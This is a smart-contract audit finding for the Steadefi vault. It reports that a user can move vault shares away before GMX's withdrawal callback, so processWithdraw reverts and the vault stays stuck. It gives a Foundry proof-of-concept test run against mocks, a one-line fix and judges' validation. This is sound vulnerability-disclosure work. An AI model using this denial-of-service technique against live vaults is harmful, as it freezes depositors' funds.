Steadefi
Steadefi
DeFiHardhatFoundryOracle
35,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

User can revert processWithdraw

schnilch

Summary

When a user wants to withdraw his tokens after depositing, the LP tokens are first sent to GMX. GMX then sends back the deposited tokens. Before the user receives them, their Vault Shares are burned in processWithdraw:

File: GMXWithdraw.sol#processWithdraw
197: self.vault.burn(self.withdrawCache.user, self.withdrawCache.withdrawParams.shareAmt);

A user could, after the LP tokens have been transferred to GMX and the Vault is waiting for the callback, transfer his Vault Shares away from his address. This would result in not having enough tokens left during the burn, causing a revert. Afterward, the Vault would be stuck in the 'Withdraw' state because, although the keeper could call the function again, it would result in revert again.

Vulnerability Details

Here is a POC that demonstrates how a user can cause the processWithdraw to revert:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
import { console, console2 } from "forge-std/Test.sol";
import { TestUtils } from "../../helpers/TestUtils.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IERC20Errors } from "@openzeppelin/contracts/interfaces/draft-IERC6093.sol";
import { GMXMockVaultSetup } from "./GMXMockVaultSetup.t.sol";
import { GMXTypes } from "../../../contracts/strategy/gmx/GMXTypes.sol";
import { GMXTestHelper } from "./GMXTestHelper.sol";
​
import { IDeposit } from "../../../contracts/interfaces/protocols/gmx/IDeposit.sol";
import { IEvent } from "../../../contracts/interfaces/protocols/gmx/IEvent.sol";
import { Attacker } from "./Attacker.sol";
​
contract GMXDepositTest is GMXMockVaultSetup, GMXTestHelper, TestUtils {
function test_POC4() public {
//owner deposits
vm.startPrank(address(owner));
_createAndExecuteDeposit(address(WETH), address(USDC), address(WETH), 10 ether, 0, SLIPPAGE, EXECUTION_FEE);
vm.stopPrank();
​
//user1 deposits
vm.startPrank(address(user1));
_createAndExecuteDeposit(address(WETH), address(USDC), address(WETH), 10 ether, 0, SLIPPAGE, EXECUTION_FEE);
vm.stopPrank();
uint256 vaultSharesAmt = IERC20(address(vault)).balanceOf(address(user1)); //Vault Shares from user1 to withdraw
vm.startPrank(address(user1));
_createWithdrawal(address(USDC), vaultSharesAmt, 0, SLIPPAGE, EXECUTION_FEE); //User 1 creates a withdrawal
IERC20(address(vault)).transfer(address(user2), vaultSharesAmt); //Before processWithdraw is executed and the user's Vault Shares are burned, he sends them away
​
vm.expectRevert(
abi.encodeWithSelector(IERC20Errors.ERC20InsufficientBalance.selector, address(user1), 0, vaultSharesAmt)
);
mockExchangeRouter.executeWithdrawal(address(WETH), address(USDC), address(vault), address(callback)); //executeWithdraw reverted as there are no tokens to burn
vm.stopPrank();
​
GMXTypes.Store memory _store = vault.store();
assert(uint256(_store.status) == uint256(GMXTypes.Status.Withdraw)); //shows that the vault is still in the Withdraw status
}
}

The POC can be started with this command: forge test --match-test test_POC4 -vv

Impact

A user could put the Vault into a 'Stuck' state that can only be exited through 'emergencyPause' and 'emergencyResume.' This would take some time as 'emergencyResume' can only be called by the owner, who is a Multisig with a Timelock. (A keeper could also call 'processWithdrawCancellation,' but in this case, the debt to the lending vault would not be repaid. The tokens withdrawn by GMX would simply remain in the vault, and the user's Vault Shares would not be burned.)

Tools Used

VSCode, Foundry

Recommendations

Tokens should be burned immediately after remove liquidity is called in GMXWithdraw.sol:

+ 154: self.vault.burn(self.withdrawCache.user, self.withdrawCache.withdrawParams.shareAmt);
- 197: self.vault.burn(self.withdrawCache.user, self.withdrawCache.withdrawParams.shareAmt);
Updates

Lead Judging Commences

hans Auditor
over 1 year ago
hans Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

DOS by moving vault token away before withdrawal callback

Impact: High Likelihood: High This is a very creative way to cause DOS most definitely.

nmirchev8 Auditor
over 1 year ago
hans Auditor
over 1 year ago
nmirchev8 Auditor
over 1 year ago
hans Auditor
over 1 year ago
nmirchev8 Auditor
over 1 year ago
hans Auditor
over 1 year ago
hans Auditor
over 1 year ago
ElHaj Auditor
over 1 year ago
hans Auditor
over 1 year ago
schnilch Submitter
over 1 year ago
hans Auditor
over 1 year ago
hans Auditor
over 1 year ago
hans Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

DOS by moving vault token away before withdrawal callback

Impact: High Likelihood: High This is a very creative way to cause DOS most definitely.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.